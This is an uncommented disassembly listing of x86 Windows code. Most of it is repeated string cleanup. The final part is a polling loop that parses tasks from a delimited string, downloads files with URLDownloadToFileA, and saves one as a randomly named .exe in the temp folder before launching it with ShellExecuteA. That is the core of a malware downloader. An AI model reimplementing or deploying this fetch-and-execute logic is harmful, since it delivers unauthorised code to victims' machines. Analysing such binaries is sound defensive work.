jb 0x406e49
mov ecx, dword [esp + 0x70]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406e3f
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x64]
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0xf
mov byte [esp + 0x70], 0
cmp edx, 0x10
jb 0x406eb4
mov ecx, dword [esp + 0x50]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406eaa
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x44]
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 0xf
mov byte [esp + 0x50], 0
cmp edx, 0x10
jb 0x406f19
mov ecx, dword [esp + 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406f0f
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x284]
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
cmp edx, 0x10
jb 0x406f84
mov ecx, dword [esp + 0x270]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406f7a
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x2a4]
mov dword [esp + 0x280], 0
mov dword [esp + 0x284], 0xf
mov byte [esp + 0x270], 0
cmp edx, 0x10
jb 0x406ff8
mov ecx, dword [esp + 0x290]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406fee
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x320]
mov dword [esp + 0x2a0], 0
mov dword [esp + 0x2a4], 0xf
mov byte [esp + 0x290], 0
cmp edx, 0x10
jb 0x40706c
mov ecx, dword [esp + 0x30c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407062
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x224]
mov dword [esp + 0x31c], 0
mov dword [esp + 0x320], 0xf
mov byte [esp + 0x30c], 0
cmp edx, 0x10
jb 0x4070e0
mov ecx, dword [esp + 0x210]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4070d6
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x2c4]
mov dword [esp + 0x220], 0
mov dword [esp + 0x224], 0xf
mov byte [esp + 0x210], 0
cmp edx, 0x10
jb 0x407154
mov ecx, dword [esp + 0x2b0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40714a
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x2e4]
mov dword [esp + 0x2c0], 0
mov dword [esp + 0x2c4], 0xf
mov byte [esp + 0x2b0], 0
cmp edx, 0x10
jb 0x4071c8
mov ecx, dword [esp + 0x2d0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4071be
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x264]
mov dword [esp + 0x2e0], 0
mov dword [esp + 0x2e4], 0xf
mov byte [esp + 0x2d0], 0
cmp edx, 0x10
jb 0x40723c
mov ecx, dword [esp + 0x250]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407232
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x24]
mov dword [esp + 0x260], 0
mov dword [esp + 0x264], 0xf
mov byte [esp + 0x250], 0
cmp edx, 0x10
jb 0x4072aa
mov ecx, dword [esp + 0x10]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4072a0
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x24c]
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0xf
mov byte [esp + 0x10], 0
cmp edx, 0x10
jb 0x407315
mov ecx, dword [esp + 0x238]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40730b
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x1f4]
mov dword [esp + 0x248], 0
mov dword [esp + 0x24c], 0xf
mov byte [esp + 0x238], 0
cmp edx, 0x10
jb 0x407389
mov ecx, dword [esp + 0x1e0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40737f
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
push 5
push str.done:
lea ecx, [esp + 0x240]
mov dword [esp + 0x250], 0
mov dword [esp + 0x254], 0xf
mov byte [esp + 0x240], 0
call fcn.004011b0
lea eax, [esp + 0x420]
push eax
lea ecx, [esp + 0x1e4]
call fcn.00407e90
push 0
lea eax, [esp + 0x23c]
push eax
lea ecx, [esp + 0x1e8]
call fcn.00407c90
cmp eax, 0xffffffff
lea ecx, [esp + 0x1e0]
setne byte [esp + 0xf]
call fcn.00401110
lea ecx, [esp + 0x238]
call fcn.00401110
cmp byte [esp + 0xf], 0
jne 0x407a44
push 0
xorps xmm0, xmm0
mov dword [esp + 0x2fc], 0
push 0x43a50a
lea ecx, [esp + 0x18]
movq qword [esp + 0x2f8], xmm0
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0xf
mov byte [esp + 0x18], 0
call fcn.004011b0
push 4
push str.task
lea ecx, [esp + 0x218]
mov dword [esp + 0x228], 0
mov dword [esp + 0x22c], 0xf
mov byte [esp + 0x218], 0
call fcn.004011b0
push 0x2a
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x218]
push eax
lea edx, [esp + 0x42c]
lea ecx, [esp + 0x244]
call fcn.00405050
add esp, 8
lea ecx, [esp + 0x2f4]
mov edx, eax
call fcn.004050f0
mov edx, dword [esp + 0x250]
add esp, 4
cmp edx, 0x10
jb 0x407508
mov ecx, dword [esp + 0x238]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4074fe
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x224]
mov dword [esp + 0x248], 0
mov dword [esp + 0x24c], 0xf
mov byte [esp + 0x238], 0
cmp edx, 0x10
jb 0x40757c
mov ecx, dword [esp + 0x210]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407572
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x24]
mov dword [esp + 0x220], 0
mov dword [esp + 0x224], 0xf
mov byte [esp + 0x210], 0
cmp edx, 0x10
jb 0x4075ea
mov ecx, dword [esp + 0x10]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4075e0
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov esi, dword [esp + 0x2f0]
xor ecx, ecx
mov dword [esp + 0x204], ecx
mov eax, 0x2aaaaaab
mov ecx, dword [esp + 0x2f4]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x407a38
xor edi, edi
nop dword [eax]
xorps xmm0, xmm0
mov dword [esp + 0x304], 0
push 0x5e
lea edx, [edi + esi]
movq qword [esp + 0x300], xmm0
lea ecx, [esp + 0x300]
call fcn.004050f0
add esp, 4
lea ecx, [esp + 0x30c]
push dword [esp + 0x2fc]
call fcn.00407e90
mov eax, dword [esp + 0x2fc]
lea ecx, [esp + 0x238]
add eax, 0x18
push eax
call fcn.00407e90
cmp dword [esp + 0x320], 0x10
lea eax, [esp + 0x30c]
mov dword [esp + 0x220], 0
cmovae eax, dword [esp + 0x30c]
push eax
mov dword [esp + 0x228], 0xf
mov byte [esp + 0x214], 0
call fcn.00418d7a
add esp, 4
sub eax, 1
je 0x407885
sub eax, 1
je 0x407864
sub eax, 1
jne 0x4079d0
push ecx
lea ecx, [esp + 0x328]
call fcn.00405290
push 0x7c
lea edx, [esp + 0x23c]
call fcn.004050f0
add esp, 4
lea ecx, [esp + 0x324]
push 0
call fcn.00407a90
push eax
lea ecx, [esp + 0x274]
call fcn.00407e90
push 1
lea ecx, [esp + 0x328]
call fcn.00407a90
push eax
lea ecx, [esp + 0x294]
call fcn.00407e90
lea ecx, [esp + 0x250]
call fcn.00405750
lea eax, [esp + 0x200]
push eax
lea ecx, [esp + 0x254]
call fcn.00407b60
mov esi, eax
lea ecx, [esp + 0x250]
lea eax, [esp + 0x1fc]
push eax
call fcn.00407b80
push ecx
push dword [esi]
lea ecx, [esp + 0x2b8]
push dword [eax]
call fcn.0040a650
lea eax, [esp + 0x290]
push eax
lea edx, [esp + 0x2b4]
lea ecx, [esp + 0x2d4]
call fcn.0040aac0
add esp, 4
lea ecx, [esp + 0x10]
push 0x43a52a
call fcn.00401170
push 0x43ad78
lea ecx, [esp + 0x1e4]
call fcn.00401170
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x1e4]
push eax
lea edx, [esp + 0x2d8]
lea ecx, [esp + 0x38]
call fcn.00405050
add esp, 8
lea ecx, [esp + 0x210]
push eax
call fcn.00407e50
lea ecx, [esp + 0x30]
call fcn.00401110
lea ecx, [esp + 0x1e0]
call fcn.00401110
lea ecx, [esp + 0x10]
call fcn.00401110
push 0
push 0
lea ecx, [esp + 0x218]
call fcn.00407e40
push eax
lea ecx, [esp + 0x27c]
call fcn.00407e40
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea ecx, [esp + 0x2d0]
call fcn.00401110
lea ecx, [esp + 0x2b0]
call fcn.00401110
lea ecx, [esp + 0x250]
call fcn.00407ba0
lea ecx, [esp + 0x290]
call fcn.00401110
lea ecx, [esp + 0x270]
call fcn.00401110
lea ecx, [esp + 0x324]
call fcn.00407ab0
jmp 0x4079d0
push 0
push 0x43a50b
lea ecx, [esp + 0x240]
call fcn.00407e40
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4079d0
lea eax, [esp + 0x950]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xc
lea ecx, [esp + 0x14]
mov dword [esp + 0x20c], str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
mov dword [esp + 0x30c], 0x34
lea esi, [esp + 0x30c]
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0xf
mov byte [esp + 0x14], 0
call fcn.00407da0
push esi
lea eax, [esp + 0x20c]
push eax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x204]
call fcn.0040ada0
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x70]
push str..exe
push eax
push 0x43ad6c
lea eax, [esp + 0x95c]
push eax
call fcn.00401170
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.0040a7f0
add esp, 4
lea ecx, [esp + 0x38]
mov edx, eax
call fcn.0040a9c0
add esp, 4
lea ecx, [esp + 0x1e4]
mov edx, eax
call fcn.0040a7f0
add esp, 4
lea ecx, [esp + 0x210]
push eax
call fcn.00407e50
lea ecx, [esp + 0x1e0]
call fcn.00401110
lea ecx, [esp + 0x30]
call fcn.00401110
lea ecx, [esp + 0x50]
call fcn.00401110
lea ecx, [esp + 0x70]
call fcn.00401110
lea ecx, [esp + 0x10]
call fcn.00401110
push 0
push 0
lea ecx, [esp + 0x218]
call fcn.00407e40
push eax
lea ecx, [esp + 0x244]
call fcn.00407e40
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x4079d0
push 1
push eax
lea ecx, [esp + 0x240]
call fcn.00407e40
push eax
lea ecx, [esp + 0x21c]
call fcn.00407e40
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp + 0x210]
call fcn.00401110
lea ecx, [esp + 0x238]
call fcn.00401110
lea ecx, [esp + 0x30c]
call fcn.00401110
lea ecx, [esp + 0x2fc]
call fcn.00407ab0
mov ecx, dword [esp + 0x2f4]
mov eax, 0x2aaaaaab
mov esi, dword [esp + 0x2f0]
add edi, 0x18
inc dword [esp + 0x204]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [esp + 0x204], eax
jb 0x407620
lea ecx, [esp + 0x2f0]
call fcn.00407ab0
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x420]
call fcn.00401110
lea ecx, [esp + 0x360]
call fcn.00401110
lea ecx, [esp + 0x438]
call fcn.00401110
lea ecx, [esp + 0x378]
call fcn.00401110
jmp 0x405a70
call fcn.0041524e
int3